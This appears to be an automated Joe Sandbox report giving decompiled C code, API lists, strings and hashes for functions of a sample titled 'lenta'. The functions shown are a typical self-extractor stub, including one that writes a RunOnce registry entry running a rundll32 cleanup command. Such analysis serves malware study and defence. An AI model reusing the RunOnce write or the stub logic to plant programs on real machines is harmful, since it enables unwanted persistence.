Opcode Fuzzy Hash: 41bacac6306947671d3b83246ff83821b2ec74357e75c79fa2203793883e7e4a
Instruction Fuzzy Hash: 5A510870704305AAEBA4AB35DC4BB7B369AEB45770F044029F981D52D1DBFCD881FA11

Uniqueness

Uniqueness Score: -1.00%

Function 00F334F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00F334F0(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t23;
				void* _t25;
				struct HWND__* _t35;
				struct HWND__* _t38;
				void* _t39;

				_t9 = _a8 - 0x10;
				if(_t9 == 0) {
					__eflags = 1;
					L19:
					_push(0);
					 *0xf391d8 = 1;
					L20:
					_push(_a4);
					L21:
					EndDialog();
					L22:
					return 1;
				}
				_push(1);
				_pop(1);
				_t12 = _t9 - 0xf2;
				if(_t12 == 0) {
					__eflags = _a12 - 0x1b;
					if(_a12 != 0x1b) {
						goto L22;
					}
					goto L19;
				}
				_t13 = _t12 - 0xe;
				if(_t13 == 0) {
					_t35 = _a4;
					 *0xf38584 = _t35;
					E00F343D0(_t35, GetDesktopWindow());
					__eflags =  *0xf38184; // 0x1
					if(__eflags != 0) {
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x464, 0, 0xbb9);
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x465, 0xffffffff, 0xffff0000);
					}
					SetWindowTextA(_t35, "lenta");
					_t17 = CreateThread(0, 0, E00F34FE0, 0, 0, 0xf38798);
					 *0xf3879c = _t17;
					__eflags = _t17;
					if(_t17 != 0) {
						goto L22;
					} else {
						E00F344B9(_t35, 0x4b8, 0, 0, 0x10, 0);
						_push(0);
						_push(_t35);
						goto L21;
					}
				}
				_t23 = _t13 - 1;
				if(_t23 == 0) {
					__eflags = _a12 - 2;
					if(_a12 != 2) {
						goto L22;
					}
					ResetEvent( *0xf3858c);
					_t38 =  *0xf38584; // 0x0
					_t25 = E00F344B9(_t38, 0x4b2, 0xf31140, 0, 0x20, 4);
					__eflags = _t25 - 6;
					if(_t25 == 6) {
						L11:
						 *0xf391d8 = 1;
						SetEvent( *0xf3858c);
						_t39 =  *0xf3879c; // 0x0
						E00F33680(_t39);
						_push(0);
						goto L20;
					}
					__eflags = _t25 - 1;
					if(_t25 == 1) {
						goto L11;
					}
					SetEvent( *0xf3858c);
					goto L22;
				}
				if(_t23 == 0xe90) {
					TerminateThread( *0xf3879c, 0);
					EndDialog(_a4, _a12);
					return 1;
				}
				return 0;
			}

0x00f334fb
0x00f334fe
0x00f33665
0x00f33666
0x00f33666
0x00f33668
0x00f3366e
0x00f3366e
0x00f33671
0x00f33671
0x00f33677
0x00000000
0x00f33677
0x00f33504
0x00f33506
0x00f33507
0x00f3350c
0x00f3365b
0x00f3365f
0x00000000
0x00000000
0x00000000
0x00f33661
0x00f33512
0x00f33515
0x00f335be
0x00f335c1
0x00f335d1
0x00f335d8
0x00f335de
0x00f335f8
0x00f33617
0x00f33617
0x00f33623
0x00f33637
0x00f3363d
0x00f33642
0x00f33644
0x00000000
0x00f33646
0x00f33652
0x00f33657
0x00f33658
0x00000000
0x00f33658
0x00f33644
0x00f3351b
0x00f3351d
0x00f3354f
0x00f33553
0x00000000
0x00000000
0x00f3355f
0x00f33565
0x00f3357c
0x00f33581
0x00f33584
0x00f3359b
0x00f335a1
0x00f335a7
0x00f335ad
0x00f335b3
0x00f335b8
0x00000000
0x00f335b8
0x00f33586
0x00f33588
0x00000000
0x00000000
0x00f33590
0x00000000
0x00f33590
0x00f33524
0x00f33535
0x00f33541
0x00000000
0x00f33549
0x00000000

APIs

TerminateThread.KERNEL32(00000000), ref: 00F33535
EndDialog.USER32(?,?), ref: 00F33541
ResetEvent.KERNEL32 ref: 00F3355F
SetEvent.KERNEL32(00F31140,00000000,00000020,00000004), ref: 00F33590
GetDesktopWindow.USER32 ref: 00F335C7
GetDlgItem.USER32(?,0000083B), ref: 00F335F1
SendMessageA.USER32(00000000), ref: 00F335F8
GetDlgItem.USER32(?,0000083B), ref: 00F33610
SendMessageA.USER32(00000000), ref: 00F33617
SetWindowTextA.USER32(?,lenta), ref: 00F33623
CreateThread.KERNEL32 ref: 00F33637
EndDialog.USER32(?,00000000), ref: 00F33671

Strings

lenta, xrefs: 00F3361D

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: lenta
API String ID: 2406144884-2780258678
Opcode ID: 8ae3221b9ad09de77eac41210e7474c1cbc960aac1ab722f2e1baf96a946acb0
Instruction ID: e5d65336f70d045394af8082bb6ed7325b4342abb436ff948f009cb2feffcaf8
Opcode Fuzzy Hash: 8ae3221b9ad09de77eac41210e7474c1cbc960aac1ab722f2e1baf96a946acb0
Instruction Fuzzy Hash: EC31E331640309BFD760AF26EC0EE2B3A6AE785B71F144529F642952B0CB799A01FF51

Uniqueness

Uniqueness Score: -1.00%

Function 00F34224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00F34224(char __ecx) {
				char* _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t32;
				char _t42;
				char* _t44;
				char* _t61;
				void* _t63;
				char* _t65;
				struct HINSTANCE__* _t66;
				char _t67;
				void* _t71;
				char _t76;
				intOrPtr _t85;

				_t67 = __ecx;
				_t66 = LoadLibraryA("SHELL32.DLL");
				if(_t66 == 0) {
					_t63 = 0x4c2;
					L22:
					E00F344B9(_t67, _t63, 0, 0, 0x10, 0);
					return 0;
				}
				_t26 = GetProcAddress(_t66, "SHBrowseForFolder");
				_v12 = _t26;
				if(_t26 == 0) {
					L20:
					FreeLibrary(_t66);
					_t63 = 0x4c1;
					goto L22;
				}
				_t28 = GetProcAddress(_t66, 0xc3);
				_v20 = _t28;
				if(_t28 == 0) {
					goto L20;
				}
				_t29 = GetProcAddress(_t66, "SHGetPathFromIDList");
				_v16 = _t29;
				if(_t29 == 0) {
					goto L20;
				}
				_t76 =  *0xf388c0; // 0x0
				if(_t76 != 0) {
					L10:
					 *0xf387a0 = 0;
					_v52 = _t67;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0xf38598;
					_v36 = 1;
					_v32 = E00F34200;
					_v28 = 0xf388c0;
					 *0xf3a288( &_v52);
					_t32 =  *_v12();
					if(_t71 != _t71) {
						asm("int 0x29");
					}
					_v12 = _t32;
					if(_t32 != 0) {
						 *0xf3a288(_t32, 0xf388c0);
						 *_v16();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
						if( *0xf388c0 != 0) {
							E00F31680(0xf387a0, 0x104, 0xf388c0);
						}
						 *0xf3a288(_v12);
						 *_v20();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
					}
					FreeLibrary(_t66);
					_t85 =  *0xf387a0; // 0x0
					return 0 | _t85 != 0x00000000;
				} else {
					GetTempPathA(0x104, 0xf388c0);
					_t61 = 0xf388c0;
					_t4 =  &(_t61[1]); // 0xf388c1
					_t65 = _t4;
					do {
						_t42 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t42 != 0);
					_t5 = _t61 - _t65 + 0xf388c0; // 0x1e71181
					_t44 = CharPrevA(0xf388c0, _t5);
					_v8 = _t44;
					if( *_t44 == 0x5c &&  *(CharPrevA(0xf388c0, _t44)) != 0x3a) {
						 *_v8 = 0;
					}
					goto L10;
				}
			}

0x00f34234
0x00f3423c
0x00f34240
0x00f343b2
0x00f343b7
0x00f343c0
0x00000000
0x00f343c5
0x00f3424c
0x00f34252
0x00f34257
0x00f343a4
0x00f343a5
0x00f343ab
0x00000000
0x00f343ab
0x00f34263
0x00f34269
0x00f3426e
0x00000000
0x00000000
0x00f3427a
0x00f34280
0x00f34285
0x00000000
0x00000000
0x00f3428d
0x00f34293
0x00f342e6
0x00f342e9
0x00f342ef
0x00f342f4
0x00f342f7
0x00f34300
0x00f34307
0x00f3430e
0x00f34315
0x00f3431c
0x00f34322
0x00f34326
0x00f3432d
0x00f3432d
0x00f3432f
0x00f34334
0x00f34343
0x00f34349
0x00f3434d
0x00f34354
0x00f34354
0x00f3435d
0x00f3436e
0x00f3436e
0x00f3437d
0x00f34383
0x00f34387
0x00f3438e
0x00f3438e
0x00f34387
0x00f34391
0x00f34399
0x00000000
0x00f34295
0x00f3429f
0x00f342a5
0x00f342aa
0x00f342aa
0x00f342ad
0x00f342ad
0x00f342af
0x00f342b0
0x00f342b6
0x00f342c2
0x00f342c8
0x00f342ce
0x00f342e4
0x00f342e4
0x00000000
0x00f342ce

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 00F34236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 00F3424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 00F34263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 00F3427A
GetTempPathA.KERNEL32(00000104,00F388C0,?,00000001), ref: 00F3429F
CharPrevA.USER32(00F388C0,01E71181,?,00000001), ref: 00F342C2
CharPrevA.USER32(00F388C0,00000000,?,00000001), ref: 00F342D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00F34391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00F343A5

Strings

SHGetPathFromIDList, xrefs: 00F34274
SHELL32.DLL, xrefs: 00F3422F
SHBrowseForFolder, xrefs: 00F34246

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 1b72aaee4004ad42a2f5965db0c0e01ab37691884ff4b7e9164ced38c372816d
Instruction ID: 5c13aad0da75bb32f90d2977fef2a1672f6f1a7ce62394276944fa9555a52c85
Opcode Fuzzy Hash: 1b72aaee4004ad42a2f5965db0c0e01ab37691884ff4b7e9164ced38c372816d
Instruction Fuzzy Hash: FE41D674E00308AFD711AB65DC88A6EBBB5EB453B4F040169F981A3351CB78AC02F761

Uniqueness

Uniqueness Score: -1.00%

Function 00F344B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F344B9(struct HWND__* __ecx, int __edx, intOrPtr* _a4, void* _a8, int _a12, signed int _a16) {
				signed int _v8;
				char _v64;
				char _v576;
				void* _v580;
				struct HWND__* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				void* _t37;
				signed int _t39;
				intOrPtr _t43;
				signed int _t44;
				signed int _t49;
				signed int _t52;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t66;
				intOrPtr* _t67;
				signed int _t69;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr* _t84;
				void* _t85;
				signed int _t89;

				_t75 = __edx;
				_t34 =  *0xf38004; // 0xc69e30f7
				_v8 = _t34 ^ _t89;
				_v584 = __ecx;
				_t83 = "LoadString() Error.  Could not load string resource.";
				_t67 = _a4;
				_t69 = 0xd;
				_t37 = memcpy( &_v64, _t83, _t69 << 2);
				_t80 = _t83 + _t69 + _t69;
				_v580 = _t37;
				asm("movsb");
				if(( *0xf38a38 & 0x00000001) != 0) {
					_t39 = 1;
				} else {
					_v576 = 0;
					LoadStringA( *0xf39a3c, _t75,  &_v576, 0x200);
					if(_v576 != 0) {
						_t73 =  &_v576;
						_t16 = _t73 + 1; // 0x1
						_t75 = _t16;
						do {
							_t43 =  *_t73;
							_t73 = _t73 + 1;
						} while (_t43 != 0);
						_t84 = _v580;
						_t74 = _t73 - _t75;
						if(_t84 == 0) {
							if(_t67 == 0) {
								_t27 = _t74 + 1; // 0x2
								_t83 = _t27;
								_t44 = LocalAlloc(0x40, _t83);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									_t75 = _t83;
									_t74 = _t80;
									E00F31680(_t80, _t83,  &_v576);
									goto L23;
								}
							} else {
								_t76 = _t67;
								_t24 = _t76 + 1; // 0x1
								_t85 = _t24;
								do {
									_t55 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t55 != 0);
								_t25 = _t76 - _t85 + 0x64; // 0x65
								_t83 = _t25 + _t74;
								_t44 = LocalAlloc(0x40, _t25 + _t74);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									E00F3171E(_t80, _t83,  &_v576, _t67);
									goto L23;
								}
							}
						} else {
							_t77 = _t67;
							_t18 = _t77 + 1; // 0x1
							_t81 = _t18;
							do {
								_t58 =  *_t77;
								_t77 = _t77 + 1;
							} while (_t58 != 0);
							_t75 = _t77 - _t81;
							_t82 = _t84 + 1;
							do {
								_t59 =  *_t84;
								_t84 = _t84 + 1;
							} while (_t59 != 0);
							_t21 = _t74 + 0x64; // 0x65
							_t83 = _t21 + _t84 - _t82 + _t75;
							_t44 = LocalAlloc(0x40, _t21 + _t84 - _t82 + _t75);
							_t80 = _t44;
							if(_t80 == 0) {
								goto L6;
							} else {
								_push(_v580);
								E00F3171E(_t80, _t83,  &_v576, _t67);
								L23:
								MessageBeep(_a12);
								if(E00F3681F(_t67) == 0) {
									L25:
									_t49 = 0x10000;
								} else {
									_t54 = E00F367C9(_t74, _t74);
									_t49 = 0x190000;
									if(_t54 == 0) {
										goto L25;
									}
								}
								_t52 = MessageBoxA(_v584, _t80, "lenta", _t49 | _a12 | _a16);
								_t83 = _t52;
								LocalFree(_t80);
								_t39 = _t52;
							}
						}
					} else {
						if(E00F3681F(_t67) == 0) {
							L4:
							_t64 = 0x10010;
						} else {
							_t66 = E00F367C9(0, 0);
							_t64 = 0x190010;
							if(_t66 == 0) {
								goto L4;
							}
						}
						_t44 = MessageBoxA(_v584,  &_v64, "lenta", _t64);
						L6:
						_t39 = _t44 | 0xffffffff;
					}
				}
				return E00F36CE0(_t39, _t67, _v8 ^ _t89, _t75, _t80, _t83);
			}

0x00f344b9
0x00f344c4
0x00f344cb
0x00f344d8
0x00f344e4
0x00f344eb
0x00f344ee
0x00f344ef
0x00f344ef
0x00f344f1
0x00f344f7
0x00f344f8
0x00f3467b
0x00f344fe
0x00f34509
0x00f34518
0x00f34525
0x00f34562
0x00f34568
0x00f34568
0x00f3456b
0x00f3456b
0x00f3456d
0x00f3456e
0x00f34572
0x00f34578
0x00f3457c
0x00f345cb
0x00f34607
0x00f34607
0x00f3460d
0x00f34613
0x00f34617
0x00000000
0x00f3461d
0x00f34623
0x00f34626
0x00f34628
0x00000000
0x00f34628
0x00f345cd
0x00f345cd
0x00f345cf
0x00f345cf
0x00f345d2
0x00f345d2
0x00f345d4
0x00f345d5
0x00f345db
0x00f345de
0x00f345e3
0x00f345e9
0x00f345ed
0x00000000
0x00f345f3
0x00f345fd
0x00000000
0x00f34602
0x00f345ed
0x00f3457e
0x00f3457e
0x00f34580
0x00f34580
0x00f34583
0x00f34583
0x00f34585
0x00f34586
0x00f3458a
0x00f3458c
0x00f3458f
0x00f3458f
0x00f34591
0x00f34592
0x00f3459b
0x00f3459e
0x00f345a3
0x00f345a9
0x00f345ad
0x00000000
0x00f345af
0x00f345af
0x00f345bf
0x00f3462d
0x00f34630
0x00f3463d
0x00f3464e
0x00f3464e
0x00f3463f
0x00f34640
0x00f34647
0x00f3464c
0x00000000
0x00000000
0x00f3464c
0x00f34666
0x00f3466d
0x00f3466f
0x00f34675
0x00f34675
0x00f345ad
0x00f34527
0x00f3452e
0x00f3453f
0x00f3453f
0x00f34530
0x00f34531
0x00f34538
0x00f3453d
0x00000000
0x00000000
0x00f3453d
0x00f34554
0x00f3455a
0x00f3455a
0x00f3455a
0x00f34525
0x00f3468c

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F34554
LocalAlloc.KERNEL32(00000040,00000065), ref: 00F345A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 00F345E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 00F3460D
MessageBeep.USER32(00000000), ref: 00F34630
MessageBoxA.USER32(?,00000000,lenta,00000000), ref: 00F34666
LocalFree.KERNEL32(00000000), ref: 00F3466F

Part of subcall function 00F3681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 00F3686E
Part of subcall function 00F3681F: GetSystemMetrics.USER32(0000004A), ref: 00F368A7
Part of subcall function 00F3681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 00F368CC
Part of subcall function 00F3681F: RegQueryValueExA.ADVAPI32(?,00F31140,00000000,?,?,0000000C), ref: 00F368F4
Part of subcall function 00F3681F: RegCloseKey.ADVAPI32(?), ref: 00F36902

Strings

LoadString() Error. Could not load string resource., xrefs: 00F344E4
lenta, xrefs: 00F34545, 00F3465A

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$lenta
API String ID: 3244514340-1000497449
Opcode ID: 8ce04227b2f42e6774088bc46ddb930864afa88a332b2f22be22004d0a3a80d4
Instruction ID: 13de7fdb69d6dfaeb129699e921803870fb4ad11e88dc7136411d482a87dc128
Opcode Fuzzy Hash: 8ce04227b2f42e6774088bc46ddb930864afa88a332b2f22be22004d0a3a80d4
Instruction Fuzzy Hash: 12510672D00219ABDB21AF28CC49BAABB69EF45330F044194FD59A7241DB75FE05EB60

Uniqueness

Uniqueness Score: -1.00%

Function 00F32773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F32773(CHAR* __ecx, char* _a4) {
				signed int _v8;
				char _v268;
				char _v269;
				CHAR* _v276;
				int _v280;
				void* _v284;
				int _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				intOrPtr _t34;
				int _t45;
				int* _t50;
				CHAR* _t52;
				CHAR* _t61;
				char* _t62;
				int _t63;
				CHAR* _t64;
				signed int _t65;

				_t52 = __ecx;
				_t23 =  *0xf38004; // 0xc69e30f7
				_v8 = _t23 ^ _t65;
				_t62 = _a4;
				_t50 = 0;
				_t61 = __ecx;
				_v276 = _t62;
				 *((char*)(__ecx)) = 0;
				if( *_t62 != 0x23) {
					_t63 = 0x104;
					goto L14;
				} else {
					_t64 = _t62 + 1;
					_v269 = CharUpperA( *_t64);
					_v276 = CharNextA(CharNextA(_t64));
					_t63 = 0x104;
					_t34 = _v269;
					if(_t34 == 0x53) {
						L14:
						GetSystemDirectoryA(_t61, _t63);
						goto L15;
					} else {
						if(_t34 == 0x57) {
							GetWindowsDirectoryA(_t61, 0x104);
							goto L16;
						} else {
							_push(_t52);
							_v288 = 0x104;
							E00F31781( &_v268, 0x104, _t52, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths");
							_t59 = 0x104;
							E00F3658A( &_v268, 0x104, _v276);
							if(RegOpenKeyExA(0x80000002,  &_v268, 0, 0x20019,  &_v284) != 0) {
								L16:
								_t59 = _t63;
								E00F3658A(_t61, _t63, _v276);
							} else {
								if(RegQueryValueExA(_v284, 0xf31140, 0,  &_v280, _t61,  &_v288) == 0) {
									_t45 = _v280;
									if(_t45 != 2) {
										L9:
										if(_t45 == 1) {
											goto L10;
										}
									} else {
										if(ExpandEnvironmentStringsA(_t61,  &_v268, 0x104) == 0) {
											_t45 = _v280;
											goto L9;
										} else {
											_t59 = 0x104;
											E00F31680(_t61, 0x104,  &_v268);
											L10:
											_t50 = 1;
										}
									}
								}
								RegCloseKey(_v284);
								L15:
								if(_t50 == 0) {
									goto L16;
								}
							}
						}
					}
				}
				return E00F36CE0(1, _t50, _v8 ^ _t65, _t59, _t61, _t63);
			}

0x00f32773
0x00f3277e
0x00f32785
0x00f3278a
0x00f3278d
0x00f32790
0x00f32792
0x00f32798
0x00f3279d
0x00f328b2
0x00000000
0x00f327a3
0x00f327a3
0x00f327af
0x00f327c2
0x00f327c8
0x00f327cd
0x00f327d5
0x00f328b7
0x00f328b9
0x00000000
0x00f327db
0x00f327dd
0x00f328aa
0x00000000
0x00f327e3
0x00f327e3
0x00f327ec
0x00f327f8
0x00f32803
0x00f3280b
0x00f32831
0x00f328c3
0x00f328c9
0x00f328cd
0x00f32837
0x00f3285a
0x00f3285c
0x00f32865
0x00f32892
0x00f32895
0x00000000
0x00000000
0x00f32867
0x00f32878
0x00f3288c
0x00000000
0x00f3287a
0x00f32880
0x00f32885
0x00f32897
0x00f32899
0x00f32899
0x00f32878
0x00f32865
0x00f328a0
0x00f328bf
0x00f328c1
0x00000000
0x00000000
0x00f328c1
0x00f32831
0x00f327dd
0x00f327d5
0x00f328e5

APIs

CharUpperA.USER32(C69E30F7,00000000,00000000,00000000), ref: 00F327A8
CharNextA.USER32(0000054D), ref: 00F327B5
CharNextA.USER32(00000000), ref: 00F327BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F32829
RegQueryValueExA.ADVAPI32(?,00F31140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F32852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F32870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F328A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 00F328AA
GetSystemDirectoryA.KERNEL32 ref: 00F328B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00F327E4

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 2e4bb52508a7667bd8c2968e707f2264b75d05523e20656d2da9f328e3568bb7
Instruction ID: e40ef4c7227820f7c2fb81ad21876c3e64fd28d95026f177a5724582d80f6846
Opcode Fuzzy Hash: 2e4bb52508a7667bd8c2968e707f2264b75d05523e20656d2da9f328e3568bb7
Instruction Fuzzy Hash: 2941D5B1E0012CAFDB649B659C85AFE7BBDEF15730F0040AAF585D2100CB708E85AFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F32267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00F32267() {
				signed int _v8;
				char _v268;
				char _v836;
				void* _v840;
				int _v844;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t33;
				void* _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				signed int _t51;

				_t19 =  *0xf38004; // 0xc69e30f7
				_t20 = _t19 ^ _t51;
				_v8 = _t19 ^ _t51;
				if( *0xf38530 != 0) {
					_push(_t49);
					if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x2001f,  &_v840) == 0) {
						_push(_t38);
						_v844 = 0x238;
						if(RegQueryValueExA(_v840, ?str?, 0, 0,  &_v836,  &_v844) == 0) {
							_push(_t47);
							memset( &_v268, 0, 0x104);
							if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
								E00F3658A( &_v268, 0x104, 0xf31140);
							}
							_push("C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\");
							E00F3171E( &_v836, 0x238, "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"",  &_v268);
							_t42 =  &_v836;
							_t45 = _t42 + 1;
							_pop(_t47);
							do {
								_t33 =  *_t42;
								_t42 = _t42 + 1;
							} while (_t33 != 0);
							RegSetValueExA(_v840, "wextract_cleanup1", 0, 1,  &_v836, _t42 - _t45 + 1);
						}
						_t20 = RegCloseKey(_v840);
						_pop(_t38);
					}
					_pop(_t49);
				}
				return E00F36CE0(_t20, _t38, _v8 ^ _t51, _t45, _t47, _t49);
			}

0x00f32272
0x00f32277
0x00f32279
0x00f32283
0x00f32289
0x00f322ab
0x00f322b1
0x00f322c4
0x00f322e0
0x00f322e6
0x00f322f5
0x00f3230d
0x00f3231c
0x00f3231c
0x00f32321
0x00f3233a
0x00f32342
0x00f32348
0x00f3234b
0x00f3234c
0x00f3234c
0x00f3234e
0x00f3234f
0x00f3236e
0x00f3236e
0x00f3237a
0x00f32380
0x00f32380
0x00f32381
0x00f32381
0x00f3238f

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 00F322A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000000,?,?,00000001), ref: 00F322D8
memset.MSVCRT ref: 00F322F5
GetSystemDirectoryA.KERNEL32 ref: 00F32305
RegSetValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 00F3236E
RegCloseKey.ADVAPI32(?), ref: 00F3237A

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F32321
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00F32299
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00F3232D
wextract_cleanup1, xrefs: 00F3227C, 00F322CD, 00F32363

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup1
API String ID: 3027380567-490507210
Opcode ID: 9bbac232f15ddc2f89442bcff601c6d4e04159d1b90e79e2020213220a117195
Instruction ID: a44d84f8acdf4ab04ccb2a4fc9b86c9ccd24dac0ba275176615cc7e3a7eaaaec
Opcode Fuzzy Hash: 9bbac232f15ddc2f89442bcff601c6d4e04159d1b90e79e2020213220a117195
Instruction Fuzzy Hash: AD31E5B1A0021CABDB659B11DC89FEA7B7CEF14770F0400A9B54DE6040EA75AB89EA50

